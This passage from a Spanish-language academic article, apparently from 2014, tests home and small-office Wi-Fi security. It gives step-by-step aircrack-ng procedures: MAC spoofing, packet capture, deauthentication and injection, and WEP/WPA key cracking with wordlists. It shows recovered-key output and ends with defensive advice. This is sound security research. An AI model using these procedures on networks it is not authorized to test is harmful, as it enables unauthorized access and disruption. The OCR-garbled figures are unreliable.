misma IPv4 o MAC del equipo que se acaba de
apagar. Es recomendable utilizar en Windows
el programa gratuito “Wireless Netwok
Watcher” versién 1.7 o superior para escanear
quienes estan conectados en su red.

IV. Uso de contraseiia de acceso WEP.

Es muy comuin en nuestro pais ver que
algunas compafifas que brindan el servicio
de Internet utilizan como mecanismo
acceso seguro a la red WI-FI al protocolo
WEP, el cual presenta vulnerabilidades que
permiten quebrantar el acceso a la red
inaldmbrica de una manera no muy compleja
y la razén principal de utilizarlo es la
compatibilidad que ofrece a los dispositivos
mdviles antiguos.

El estdndar IEEE 802.11 o red WI-FI definid
como sistema de proteccidon de datos al
protocolo WEP (Wired Equivalent Privacy —
Privacidad Equivalente a Cableado), el cual
utiliza como palabra clave un nimero de
64 6 128 bits para cifrar el trafico entre un
AP y un cliente mdvil. Cuando se define el
uso de WEP con 64 bits el usuario tiene dos
opciones, digitar 10 nimeros hexadecimales
0 una palabra de 5 caracteres; pero, si se
utiliza 128 bits entonces se puede utilizar 26
numeros hexadecimales o una palabra de 13
caracteres, en WEP.

WEP proporciona una encriptacién para la
capa2delmodelo OSl utilizando el algoritmo
de cifrado RC4 (King, 2001); el cual cuando
emplea una clave de 64 bits utiliza 40 bits
mas 24 bits del vector de iniciacién “IV”’ y
cuando emplea claves con 128 bits utiliza
104 bits mas 24 bits del vector de iniciacion
“IV”. Asi en cada trama se utiliza para su
encriptacién un nimero formado por una
operacién booleana con la clave y el vector
de iniciacion 1V, para el cual no se definié un
mecanismo de cifrado.

En la siguiente figura se ilustra la forma
en la cual el sistema WEP encripta la
informacién (Barken, 2003) utilizando
dos veces comprobacion de redundancia
ciclica CRC para el texto plano de los datos,
realizando una operacién binaria XOR y
luego agregando el IV al texto cifrado.

Figura n.’ 17 - Proceso de encriptacion

de WEP
@ @ i
— ]
[ 0o o
S e ROR i Cpbarta i—..r\"_t‘\--hm
@ 06

msiaamion| Scret [ el gosarnmn
| S e

Tal como lo informa el grupo de
investigadores ISAAC de la Universidad
de Berkeley (Brewer, Borisov, Goldberg,
& Wagpner, s.f.), el uso de WEP permite los
siguientes tipos de ataques:

e Ataque pasivo’ para descifrar trafico
basandose en andlisis estadistico.

7 Por ataque pasivo se debe entender aquellos procesos en los cuales no
hay interaccién con el AP, sino que la informacién es capturada del es-
pacio y no hay forma de registrarlo. Mientras por ataque activo se debe
entender por los procesos en los cuales se envian tramas o instrucciones
directamente al AP o clientes.
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e Ataque activo para inyectar nuevo tréfico
desde estaciones mdviles no autorizadas,
basandose en texto plano ya conocido.

e Ataque activo para descifrar trafico
basandose en engafiar al AP.

e Ataquespor medio del uso de diccionarios
o conjunto de palabras en tiempo real.

4.1 Metodologia de la prueba.
La metodologia para esta prueba sera:

a. Configurar el AP para solicitar contrasefias
tipo WEP.

b. Visualizar y analizar las redes inaldmbricas
e identificar una red WEP.

¢.  Conectar un cliente al AP para verificar que
la comunicacién y trafico hacia Internet
funciona correctamente.

d. Capturar la mayor cantidad posible de
paquetes que envia el AP a un cliente
conectado para sacar los IV.

e. Utilizar desencriptador para obtener la
contrasefia WEP a partir de los paquetes
obtenidos.

4.2 Escenario y recursos de prueba.

Para verificar la efectividad de este
mecanismo de seguridad se utilizaron
los mismos recursos que las dos pruebas
pasadas:

e 1AP con conexidn a Internet.

e 1 Computadora portatil con lector DVD
y tarjeta inaldmbrica con capacidad de
inyeccidon de paquetes.

e 1 Equipo mdvil para comunicarse con
el AP, puede ser teléfono inteligente,
tableta electrdnica u otra computadora
portatil.

e 1 DVD de la distribucion Kali 1.07 o
superior.

INsTiTUTO DE CIENCIA, TECNOLOGIA E INNOVACION (ICTI)

Para obtener la contrasefia de acceso sera
necesario que haya al menos un cliente
previamente conectado con la contrasefa
WEP, aunque también se puede inyectar
trafico si no lo hubiera pero tomaria mucho
mas tiempo.

En el escenario de esta prueba se ha
utilizado una computadora con Windows
8 la cual estard navegando en Internet. En
AP serda necesario habilitar las opciones
para WEP, para este escenario se utilizé un
Router AP 655.

e Paso1.Ingresar como el usuario “admin”
y utilice la contrasefia de administracion.

e Paso2.Buscarlaopcidondonde aparezca
la configuracién de la seguridad en la
red inaldmbrica. Seleccionar la ficha
“SETUP”, luego buscar en la seccidn
de la izquierda “WIRELESS SETTINGS”
y luego dar chic en el botén “Manual
Wireless Network Setup”

e Paso 3. Seleccionar en “Security Mode”
WEP. Definir lalongitud de la contrasefia
128 bits 0 26 caracteres hexadecimales.
Definir como método de autentificacion
“Shared Key”.
Escribirla contrasefia, paraeste escenario
se utilizard10110210310410510610710810.
En la figura 18 se observa la pantalla de
configuracion.

Figura n.’ 18 - Configuraciéon WEP

WEP Key Langth : | 128 bl (38 hex digts) ¥ | (length applies o all keys)
Authentication : | Shared Hey ¥
WEP Koy 1: |-

e Paso 4. Guardarlos cambios y reiniciar el AP.
e Paso 5. Conectar un cliente y navegar
en Internet.
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4.3 Verificacion de la vulnerabilidad de las
contrasenas WEP.

Para facilidad en la ejecucién de las pruebas,
se utilizaran cinco consolas comandos.

e Paso 1. Abrir la primera consola de
comandos y digitar las siguientes
instrucciones:

1.1 Cambiar la MAC para anonimato, digitar
los siguientes tres comandos.

ifconfig wlano down

macchanger - -mac 00:11:22:aa:bb:cc wlano
ifconfig wlano up

1.2 Activar un monitor para escaneo de red
airmon-ng start wlano
iwconfig

e Paso 2. Abrir la segunda consola de
texto para obtener la informacion de
las redes WI-FI. Digitar el siguiente
comando: ver figura 19.

e airodump-ng mono

Si se desea escanear las frecuencias b y g,
digitar:
e airodump-ng --band bg mono

De este paso se sebe verificar que la
encriptacién sea (ENC), luego copiar el
BSSID del APy el canal (CH) de transmision.

e Paso 3. Abrir la tercera consola y
capturar los paquetes entre el cliente
y el AP. No se debe detener este
proceso hasta que se haya obtenido la
contrasefia. Ver figura 20.

Utilizar el BSSID del AP de interés, el canal
de transmisién y definir un archivo para las
capturas, paraesta prueba sera capturaswWEP
y el monitor mono. Ver figura 21.

Airodump --bssid B8:A3:86:66:0E:87
--chanel 6 --write 1 capturasWEP mono

e Paso 4. Abrir la cuarta consola y
desencriptar los datos capturados en el
paso anterior.

4.1 Visualizar que haya un archivo con las
capturas

Digitar:Is -l

4.2 Si aparece el archivo capturasWEP.cap
digitar el siguiente comando:

e aircrack-ng capturaWEP-01.cap

4.3 Esperar que el programa muestre la
contrasefia como lo indica la figura 21, Si se
necesita mas paquetes, detener con “Ctrl” +
“C”, esperar un tiempo y repetir el comando.

e Paso 5 Abrir la quinta consola de
comandos para la inyeccidon de
paquetes. Si se desea reducir el tiempo
de espera o los clientes conectados
no estan navegando intensamente se
pueden realizar dos acciones mas:

A - Desconectar a los clientes, se debe
conocer la MAC de los clientes
aireplay-ng -0 5 -a B8:A3:86:AA:BB:01 ¢
22:24:36:00:11:22 MONO

B - Inyectar trafico, se debe conocer la
direccién MAC del cliente conectado.
Aireplay-ng -3 -b B8:A3:86:AA:BB:01-h
22:24:36:00:11:22 MONO
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Figura n.’ 19 - Escaneo de redes. inalambricas
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QOD: IE:FT:8E:CD:50 =80 4 x] L] 4 Sda. WEPT WEPF ]
00:1A:DS:BE:ES: 40 =71 5 =] G 11 Sde. WPAZ COCMP PEK ICTI
GCi30:4D:CO: 4B BR8] 4 Q g 11 54 WPAZ CCMP PSK  a-vo
BECAN:B6:AM BB 01 —49 10 L] F] 1 Sde. WEF WEF prusbas_cusc
00:24:17:8D: 14:AD -—BE 2 =] -] 1 54 WEF  WEP TURBONETT
BSSID STATION PR Ratas Lont Framas Probe
({not assocolated) 00:14:46:22:21:18 -82 0 -1 1 z
O2Z:20:20: dd: 4342  SC:93:40:TL:01:AT -—-B6 a4 -1 4 2
02:20:20: 44 43:42  9C:93:40:71:01:DF —B0 0 -1 2 19
BECAT:BE:AACBE 01  22:24:36:00:11:22 -38 Sda-Sde o &
Figura n.’ 20 - Proceso de captura de paquetes.
€H 1 ][ Elapsed: 18 mins ][ 2014-05-30 12:54 ][ fixed channel monD: -
BS5ID PWR RXQ Beacons #oara, #s CH MB ENMC CIPHER AUTH ESSID
BE:ad:Bo:06:00:CD -35 O 10471 79430 463 1 S54e. WEP WEP pruebas_cuc
BSSID STATION PWR Rate LOST Frames Probe

BE:AY:BO:06:00:C0 22:24:36:00:11:22 -34  Sde-Sde 5 82473

Figura n.’ 21 - Proceso de desencriptacion de la contrasefa.

afrcrack-ng 1.2 beval

[00:00:55] Tested 160010 keys (got 75502 Ivs)

KB depth byte(wo

Bl {'IDHH:I BE(883200 FLO86016) 40(85248) BT(AS24E) TE(B4591) So(84716) Er(BI96E) S2(AI200) CLCBI200) EOCHIZ00)
1 0/ 1 110985600 EE(87040) JC(BES5IE) GG(ASTE0) F9(AS7T60) CO(BSTEN) SSCB5S504) EQCRSSOM) JL(BI0EE) 7ciE3200) O7(E1944)
i 0 1 Q2(%EE16) IF(B7040) S4(AGTE4) OT(AGITE) COCBGOLG) CA(BSTE0) BE(BA99E) DICE499Y) GICE47I6) TI(E4450) AL(E396E)
3 0 1 10{1LF384) TC{AP0BA) CR{ATIO6) EF{B524B) OB(BSI4B) IM(A4480) IG(R41X4) BL(BITLI) FE(BITLI) IR(E3200) FECEIZ0Q)
4 0F 1 FL{97702) 48(B&5T6) 4E(B7040) EO(R4992) CE{BIDEE) SECBITLE) IACRI456) FTCEIASE) LaCEI200) AGCEIR200) OCCEZO44)
] 0F 1 O&{96512) AC{B9344) co{BY296) 2e{B7040) AF{BE2TE) SA(BSTEO) AA(BSS04) 4ECBS248) AI(E306E) EC(EI456) 4B(EX044)
] 0F 1 10{I05T28) 9a(91392) 1T(86016) 4E(B5504) ET(B4%92) DS(R4480) 20(BI200) BX(B2944) TI(RIGEE) CA(RIGER) FRCE2412)
7 0F 1 SL{1011200 S7{EB57E) AF(ETIOG) QO(BE2TI) TH(BEOLG) EO(B4%a2) EO(B4480) L4(BI9EE) E(EI200) EJ(EI200) SI(E2944)
-3 0F 1 OB(9TTE2) 12(94T30) 1E(B5504) AF(RSSO04) BCCRASAX) TOCBA2M) FOCRA2MM) 9TCEITLY) FCCERASE) GECE2O44) PSCEZ944)
0 1 10(104448) AN(BEET) O4(B5504) ZECRSIAH) GX(ASIAE) AE(BE24E) ET(BATIE) OR(B44E0) 29(B4480) SA(EN9EE) ES(HIGEE)
0 1 BA(BSTRO) EE(BAZIA) FR{BAZEA) BA(BIGER) EI(RITLZ) SE(BITLY) EACE3A5E) SICEIZ200) FCCE3I200) FICE32000 35082944)
11 0/ 1 aB(87296) SA(87040) BO(BEITI) FS(BE016) CECASTE0) EE(BSSO04) TICB4992) TACBATIE) E4(B4480) AT(E3968) B4(51963)
12 0 3 Ea{@6612) AS{B45E0) GE(BAZ96) AO(RITO0) MACBISON} DACBII0E) BF(EII04) 9RCEIO0Q) 2SCEZ6IL) AF(E2325) BOCEIZ96)

KE¥Y FOUsDE [ 10:11:02:10:31:04:10:51:06:10:70:08:10 ]
Decrypted correctly: 100%

4.4 Resultados de las pruebas WEP.
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El utilizar contrasefias WEP en los equipos
no es un método de seguridad efectivo, ya
que el tiempo que tarda en ser descifrada
dependerd de la cantidad de paquetes IV
enviados entre los clientes conectados y
el AP. Por lo anterior, entre mas equipos
estén conectados o mds trafico genere
un usuario, mas rapido sera el tiempo en
descifrar la contrasefia.

En el siguiente cuadro se detallan los
tiempos que tomaron obtener las claves
de acceso WEP, se utilizaron tanto palabras
como numeros hexadecimales. Para las
pruebas se utilizd un cliente conectado y la
computadora con Kali 1.0.7 tiene 8 nicleos
i7a2.6 GHz.

Valores utilizados en las pruebas:
e clave

* 0123456789

e murcielagoss5

e 10110210310410510610710810

Longitud Autentificacion ~ Tiempo
64 bits Both 42-48s
64 bits Shared key 49-54s
128 bits Both 11-13m
128 bits Shared key 12-14m

Eltiempotomado paradecodificarlacontrasefia
depende de la calidad del trafico entre el
cliente y la red, y variables independientes
son: la distancia entre los equipos y el AP, tipo
de paquete enviado entre el cliente y el AP,
Interferencia en el canal utilizado, cantidad de
clientes conectados al AP.

V. Contrasena WPA.

El WPA (Wi-Fi Protected Access - Acceso Wi-
Fi protegido) es un estadndar para proteger

las redes inaldmbricas WI-Fl, que supera las
vulnerabilidades de WEP. WPA posee dos
tipos de escenarios (Rabiul, 2013):

e Personal: Orientado a pequefias
oficinas y oficinas en casa, en donde
se utiliza una frase clave similar a WEP,
pero dicha clave no se utiliza en el envio
de los paquetes.

e Empresarial: El cual es un esquema que
requiere un servidor en donde estan
alojadas las credenciales para permitir
los accesos a los usuarios.

WPA establece un proceso de cuatro
notificaciones “handshake” para autenticar
a un usuario y permitir el acceso a la red
WI-FI, en este proceso el AP que comienza
la comunicacion definiendo un ndmero
aleatorio, luego el cliente genera un PTK
(par de llaves) y envia la clave temporal
para encriptar, luego el AP responde con la
operacion de verificacién correspondiente
y una vez recibido por el cliente se envia el
mensaje de aceptacion.

Figura n.° 22 proceso de cuatro handshake

STA AR

@ AMNONCH
STA constructs
the PTH
SMonce « MIC -
AP conglructs
thay PTH
L GTK + MIC
Ack -

Aunque se mejord la forma de autenticar
a los usuarios el mecanismo de seguridad
WPA presenta una vulnerabilidad y es
que si se puede obtener una trama con la
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clave PSK y se combina con el contenido
de un diccionario se puede determinar si la
contrasefia se encuentra dentro de la lista
de palabras del diccionario.

Los diccionarios son grandes listas de palabras
que son frecuentemente utilizadas por las
personas como contrasefias. Hay diccionarios
temdticos (actores, claves para servidores,
redes sociales, mitologia, religién, SLANG,
etc.)y poridiomas; porlo general enun ataque
utilizando diccionarios es necesario tener a la
mano mas de dos diccionarios.

A continuacién se listan algunos sitios en
los cuales se alojan varios diccionarios para
ataque por diccionario® ordenados segun
categorias y tipos de ataque:

e ftp://ftp.openwall.com/pub/wordlists/

e http://packetstormsecurity.com/
Crackers/wordlists/

¢ http://www.cotse.com/ftools/wordlists1.htm

e http://www.cotse.com/tools/
wordlists2.htm

¢ http://www.insidepro.com/

e https://wiki.skullsecurity.org/Passwords

5.1 Metodologia de la prueba.

Ya que este articulo estd orientado a redes
residenciales y PYME las pruebas fueron
realizadas en el esquema personal.

La metodologia para esta prueba sera:

a. Configurar el AP para utilizar WPA/WPA2
personal con TKIP.

a. Visualizar y analizar las redes inaldmbricas
e identificar una red WPA/WPA2.

8 No confundir el ataque por uso de diccionario con el ataque por fuerza
bruta, ya que en el primero se utiliza una lista ya creada, mientras que en
el segundo las claves se van creado secuencialmente por un algoritmo
que ejecuta un determinado patrén, como el mostrado en las peliculas.

INsTiTUTO DE CIENCIA, TECNOLOGIA E INNOVACION (ICTI)

b. Conectar un cliente al AP para verificar que
la comunicacién y trafico hacia Internet
funciona correctamente.

c. Capturar las tramas que contengan el
mecanismo 4 way handshake de al menos
una conexion.

d. Utilizar el handshake capturado, un
diccionario de contrasefias comunes
y desencriptador para obtener Ia
contrasefia WPA.

5.2 Escenario y recursos de prueba.

Para verificar la efectividad de este
mecanismo de seguridad se utilizaron los
mismos recursos de las pruebas anteriores:

e 1APconconexién a Internet.

e 1 Computadora portdtil con lector DVD
y tarjeta inaldmbrica con capacidad para
inyeccidn de paquetes.

e 1 Equipo mdvil para conectarse al AP,
puede ser teléfono inteligente, tableta
electrdnica u otra computadora portatil.

e 1DVDdeladistribucidn Kali1.0.7 o superior

Es importante tener en cuenta que la tarjeta
WI-FI que se utilizard con Kali debera cumplir
las siguientes condiciones:

1. Ser reconocida por el sistema operativo.
Si Linux no la reconoce, entonces se
deberd descargar el firmware adecuado
y compilarlo.

2. Deberd soportar la inyeccidn de
paquetes. No todos los drivers soportan
la inyeccidn de paquetes, si la tarjeta no
puede inyectar trafico serd necesario
descargar los drivers mas recientes
para el chip de la tarjeta de red o si no
se encuentran utilizar y utilizar drivers
como Compat-Wireless. Ademas se
requiere de parches actualizados.
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En relacidon a lo anterior, si las pruebas
de vulnerabilidad se desean realizar por
usuarios que no tienen experiencia en
la compilacién de drivers en Linux, sera
muchisimo mds conveniente adquirir
una tarjeta de red que tenga un chip
soportado por la suite aircrack-ng, en la
siguiente direccién se puede obtener un
listado de chips soportados. http://www.
aircrack-ng.org/doku.php?id=compatibility
drivers#drivers

Para configurar el AP para utilizar WPA es
necesario:

e Paso1.Ingresar como el usuario adminy
digitar la contrasefia de administracidn.

e Paso 2. Seleccionar la ficha SETUP,
luego seleccionar “Wireless settings”

e Paso 3. Seleccionar en “Security Mode”
WPA-Personal

e Paso 4. Definir TKIP como método de
cifrado.

e Paso 5. Definir la frase clave, para esta
prueba se utilizard “q123456789”. Tal
como se muestra en la figura 23.

e Paso 6. Dar clic en botén “Save” o
equivalente y esperar que se reinicie el AP.

e Paso 7. Conectar el cliente para verificar
que el AP funciona correctamente y
existe comunicacion a Internet.

5.3 Verificacion de la vulnerabilidad de las
contrasenas WAP.

Para facilidad en la ejecucién de las pruebas,
se utilizaran cinco consolas comandos.

e Paso 1. Abrir la primera consola de

comandos y digitar los siguientes
comandos: (ver figura 24).

100

Figura n.’ 23 - Configuracion del AP
para WPA2

WIRELESS SECURITY MODE

To probect your privacy wou can configune wirdess security fsatures. 1
wir i daduity moded induding WEP, WRA-P&ranal, 3nd WPA-EAb
wirgess engryplion sandand, WPA provices a higher level of 520Ny

require an authentication server. The WRA-Enerprise option reguins

Security Mode ©  wFaPersoral v

Use WPA or WRAZ mode to achisve 2 balance of sirong secunty and
Fdde i WPA fof lagidy clients while maitining Rahs secufity w
capable, Also the strongest dpher that the dient supports will be usa
WRAZ Only mode. This mode uses AES{CCMP) cipher and legacy s
acoess with WA security. For masdmum compatiblity, uwse WPA Only
ciphver, Some gaming and legacy dewvices work anly in this mode,

To achievs better wireless performance use WRAZ Only securnity mod
ciphr].

WPRA Mode 1 | auto (WPh or WRAZ) w
Cipher Typee : e -
Group Key Update Interval ;3500 (seconds)

PRE-5HARED KEY

Enter an 8- to 63-character alphanumenc pass- phrase For gox
of ample kength and should pot be 3 commonly known phras

Pre-Shared Key : semsanaia

1.1 Cambiar la MAC para anonimato, digitar
los siguientes tres comandos.

ifconfig wlano down

macchanger - -mac 00:11:22:aa:bb:cc wlano
ifconfig wlano up

1.2 Activar un monitor para escaneo de red
airmon-ng start wlano
iwconfig

Paso 2. Abrir la segunda consola de
texto para obtener la informacién de
las redes WI-FI que utilizan WPA. Digitar
el siguiente comando: (Ver figura 25).

airodump-ng mono

Si se desea escanear las frecuencias b y
g, digitar:

UNiversiDap Francisco Gavibia (UFG)
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airodump-ng - -band bg mono

De este paso se sebe verificar que la
encriptacién sea (TKIP), copiar el BSSID
del AP y el canal (CH) de transmisién y una
direccion MAC de un cliente conectado. por
ejemplo BSSID = B8:A3:86:AA:BB:01, canal =
1, cliente = 02:04:24:11:22:33

e Paso 3. Abrir una tercera consola y
capturar los paquetes entre AP y cliente
a un archivo de texto. No se debe
detener este proceso hasta que se haya
obtenido el handshake contrasefia. Ver
figura 26.

El comando a digitar una sola linea es:
airodump-ng --bssid B8:A3:86:AA:BB:01
--channel 1 -write capturaWPA mono

e Paso 4. Obtener el handshake de la
conexién de otro equipo autorizado.
Para este paso existen dos opciones:

Opcidn 1. Esperar hasta que un usuario se
autentifique en el AP.

Opcidn 2. Enviar tramas de desasociacidn
a un usuario previamente conectado. Ver
figuran.’ 27

Si se desea enviar las tramas de desasociacién
es necesario que la tarjeta de red que se esta
utilizando en la computadora con Kali pueda
inyectar paquetes. Digitar el siguiente comando
para lainyeccién de paquetes, una trama
Aireplay-ng —-deauth 1 -a B8:A3:86:AA:BB:01
—C 02:04:24:11:22:33 MoNO

Aveces es necesario enviar mas informacion
en la trama o tramas de desasociacion.

Aireplay-ng -deauth 7 -a B8:A3:86:AA:BB:01

INsTiTUTO DE CIENCIA, TECNOLOGIA E INNOVACION (ICTI)

—C 02:04:24:11:22:33 —e pruebas_cuc -ignore-
negative-one mono

e Paso 5. Descifrar la clave WPA utilizando
el archivo de la capturaenlaconsola3y
un diccionario de claves o contrasefas.
Ver figura 28.

La version de Kali 1.0.7 trae algunos
diccionarios que se encuentran asociados
al directorio [usr/share/wordlist, para esta
prueba se utilizara el diccionario sqlmap.
txt y el archivo generado por la consola 3
capturaWPA-01.cap

Para descifrar la clave se debe digitar el
siguientne comando:

aircrack-ng -b B8:A3:86:AA:BB:01-w |
usr/share/wordlists/sqlmap.txt /[root/
capturaWPA-01.cap

Si hubo wuna captura correcta de un
handshake, entonces el programa aircrack-
ng comenzara a probar palabra por palabra
del diccionario hasta encontrar un valor en
binario que corresponda al valor producido
por la contrasefia. Si no hubiera un
handshake, entonces aparecerd el siguiente
mensaje “Got no data packets from target
network!” y serd necesario reenviar tramas
de desasociacion o esperara que unclinte se
conecte si sutarjeta no envia dichas tramas.

5.4 Resultados de las pruebas.

Tal como se evidencia en la figura 28,
el tiempo que se tomd para descifrar la
contrasefia fue menor a ocho minutos.
Se realizaron pruebas utilizando palabras
que se encontraban al inicio, cuarta parte,
mitad, tres cuartas partes y casi al final
del diccionario y se comprobd que el
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tiempo utilizado depende de la cantidad
y velocidades de los ntcleos asi como la
posiciéon de la palabra en el diccionario.
Para mejorar el tiempo se puede preoperar
el diccionario utilizando  paquetes
capturados; pero dichas experimentos
estuvieron fuera de los objetivos de las
pruebas de vulnerabilidad.

La vulnerabilidad de la seguridad en WPA
depende exclusivamente del tipo de clave
o contrasefia seleccionada, ya que si se
utilizan claves que pueda estar contenidas
en diccionarios, entonces la probabilidad
que un atacante la encuentre sera mayor.

En la prueba se utilizé un diccionario con
claves; pero también se puede utilizar
como método de ataque la fuerza bruta, es
decir ejecutar un algoritmo que comience a

probar una serie de patrones de caracteres
hasta que llegue a la composicién exacta;
por ejemplo: 0000, 0001, 0002, etc. Pero
para este método se requiere de una
carga de proceso mayor por parte del
microprocesador y una tiempo que puede
tomar horas, dias, semanas, etc.

Existe un quinto mecanismo de acceso
seguro que trabaja WPA y se denomina
WPS (Wi-Fi Protected Setup) el cual tiene
como objetivo facilitar la autentificacion
de WPA/WPA2 por medio del uso de un pin
de 4 digitos entre otras métodos. Debido
a que los AP o routers mas modernos lo
incorporan no se considerd en las pruebas
de seguridad. No obstante, es importante
aclarar que también tiene una vulnerabilidad
que es atacada por el programa reaver,
disponible en Kali también.

Figura n.’ 24 - Consola 1: Configuracién del objeto monitor.

rootikali:~§ ifconfig wland down

rootikald:

.

rootikald;~} ifconfig wlan

rookBkald:«} airmcn-ng start wland
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Figura n.” 25 - Consola 2: Monitoro de la red.

rootikali:~# airodump-ng mond

CH 5 ][ Blapsed: 12 s ][ 2014-06-03 09:35
BSSID PWR Hoacons foata, #/s CH MB EHNC CIPHER AUTH ESSID
BEIAZIB6IAMIBEIOL 48 53 Sl 3 L S4e. WPAZ TEIP PEK prusbas_cuc
Ol lA:DD:RE:ES: 45 -T4 14 0 o 11 Sdom. WPAZ2 CCMP PSK ICTI
CBiD3:03:3D:BB:BE -TE 16 2 o 6 Sde. WPAZ CCMP PSKE uposterior
D0 1E:FT:6GE:CD:SD -7 13 0 o 4 GSd&a. WEP WEP LR
GCIL0I4DIC0 4888 B0 13 0 0o 11 54 WPAZ CCMP PSK e=vo
ld:p6:42:8A:41:12 -g2 T ] a & Sde OPH dlink
O0:24:17:8D: 14:AD -BT 20 ] o 1 54 WEF WEP TURBONETT
BERID STATION PHR Rata Loat Framaa Proba

(ot associatad) 1E: 6T:B0:6D:26: F1 -g2 0o -1 11 2 @
BEAZIE6IARIBEIOL  ZZiZ4:36:00311:22 41 Sde=Sqa 43 a0
CH:DI:03:30:BBIEE DE:90:ES 42108 D6 BS o 1e o 1
ld:DE:d2:BAA1:12 BC:F3:TI:TE:L1A:F4 =BT Oo=- 1o a G
CHiDI:AIIID:ILIBES OC:iG60:T6:0Ti4EILS -81 2a- la a 1T

Figura n.” 26 - Consola 26: Captura de 4 way handshake.

rootikali:~§ aircdump-ng - 1 -w capturaWPh --basid BE:ARI:B6:AA:BE:01 mond

CH 1 ][ Elapsed: 16 mins ) [ 2014-08-03 10:58 )[ fixed channel mond: -1
BESID BRR RXQ Beacons tData, #/3 CH MB
BE:AZ:H6:AA:BR:0L -43 100 2194 11452 o 1 S4a. WBAZ TEIP
BESID STATION PWR Rate Loat Frazmes
BA:AIIBGIAAIEBIOL  22:24:36£:00:11:22 =30 Sde-C4e Q 10606

ENC CIFHER AUTH ESSID

BSK  pruebas_cuc

Proba

Figura n.’ 27 - Consola 4: Envio de trama de desautenticacién.

rootfkali:~# aireplay-ng --deauth 1 -a BE:A3:;06:AA:BB:01 -c 02:04:24:11:22:33 mon(

13:22:06 Waiting for beacon frame (BSSID: BE:A3:8&6:AA:BE:0L) on

channel -1

13:22:06 Couldn't determine current channel Eor monl, you should either force
the operation with --ignore-negative-one or apply a kernel patch

rootBkali:~F aireplay-ng -—deauth 7 -a BE:AZ:06:AR:BE:01 -c 02:04:24:11

-2 pruebas cuc --ignore-negative-ocne

13:22:08 wWalting for beacon frame (BSSID: BE:A3:86:AA:BB:01) on
13:22:0% Sending 64 directed Defuth. STHMAC: [02:04:24:11:22:33]
13:22:0% Sending &4 directed Dehuth., STHAC: [02:04:24:11:22:33]
13:22:10 Sending &4 directed Dehluth. STMAC: [02:04:24:11:22:33)
13:22:11 Sending 64 directed Defuth. STHMAC: [02:04:24:11:22:33)
13:22:11 Sending 64 directed Dehuth. STHMAC: [02:04:24:11:22:33]
13:22:12 Sending 64 directed Dehuth. STMAC: [02:04:24:11:22:33)
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L

s

33 mond

channel -1

[ 4|65 ACEs)
[ 0164 ACEs]
[ &€ ACKs]
[ 4167 ACEs]
[ 3|8 ACE=)
[L0]&9 ACKz]
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Figura n.’ 28 - Consola 5: Desencriptacién de la clave WPA.

rootBkali:~#

crack iJ b
i

-} L
w Jusrc/share/wordl ist

Ml DS

[00:07:26] S94600
EEY FOUMD!
HMaster Hey r D7 BD BB CH
&C &D E& &7
Tranaient Hey + &3 T9 C3 27
S/ 90 40 il
Dl SC 24 DE
Ed B4 06 &C
EAPOL HMAC : AT 249 85 25

VI. Conclusiones y recomendaciones.

Las redes inaldmbricas utilizadas en
residencias y PYME poseen vulnerabilidades
en todos los mecanismos de seguridad que
se encuentran disponibles en la actualidad,
el mecanismo que presentaria mayor desafio
a un atacante en este tipo de redes es el uso
de WPA/WPA2 personal; sin embargo, esta
seguridad depende exclusivamente del tipo
de contrasefia que se utilice.

Es mejor utilizar un sistema de contrasefias
que periédicamente se cambieny paradefinir
las contrasefias utilice una composicién de
palabras propias, por ejemplo, suponga
que tiene dos hijos, Victor y Paty, puede
entonces crear una palabra con las letras
Vic-Pat y luego agregar o sustituir algunos
caracteres por numeros, Vico1-Pato2, Vico1-
P4to2 y agregar algun caracter especial, por
ejemplo V1co1-P4t02$

Aunque el uso de varios mecanismos de
seguridad solamente retarda tiempo para
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que un AP sea vulnerado, es conveniente
hacerlo ya que wusuarios con bajos
conocimientos preferirdn buscar otra red
menos complicada. Enlas pruebasrealizadas
se evidencié que cuando existe filtro por
MAC inyectar trafico desde otra PC que
tenga una MAC clonada es mds infructuosa.

Debido a que un usuario malicioso puede
obtener la clave de acceso, clonar la MAC
y copiar la direccién IPv4, es mejor apagar
el AP cuando no lo utilice, asi se consume
menos energia y se evita al menos en
ese tiempo que la red sea utilizada por
personas no autorizadas. Ademds, es muy
conveniente que verifique el alcance de
su AP fuera de su casa, ya que si llega un
nivel de sefial considerable para conectarse
desde el patio o en los alrededores de su
casa es recomendable reducir la potencia
en AP. Herramientas como Wi-Fi Analyzer
pueden instalarse en un teléfono Android
para monitorear. También kismet y Wi-Fi
Analyzer le permiten ver la ocupacién del
espectro y determinar si la red tiene un
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canal que esté siendo utilizado por otra red
vecina, en cuyo caso es conveniente utilizar
otro canal que no esté utilizado o un canal
en donde el nivel de potencia de los demas
canales sea muy bajo.

Asi como un hacker cambia la direccidn
MAC para no ser identificado, cualquier
usuario puede utilizar este procedimiento
para conectarse en redes publicas en donde
no conoce sobre la seguridad de la red;
por ejemplo, en restaurantes, aeropuertos
salas de espera, etc. Anteriormente se han
recomendado herramientas para el cambio
de MAC tanto en computadoras como para
moviles Android.

Como se explicd, muchos equipos utilizan
contrasefias de administracidon para los AP
o Routers genéricas, es muy conveniente
asignar una contrasefia que no esté en
diccionarios asi el acceso a la administracion
del equipo serd menos vulnerable a un
ataque por fuerza bruta o por diccionario.

INsTiTUTO DE CIENCIA, TECNOLOGIA E INNOVACION (ICTI)

Por todo lo anterior, siempre es importante
hacer una reflexién acerca de la seguridad
de una red antes de utilizarla para compras
en linea, consultas a cuentas bancarias,
suscripciones a servicios, etc.

Articulo recibido: 9 de junio de 2014
Articulo aprobado: 10 de agosto de 2014
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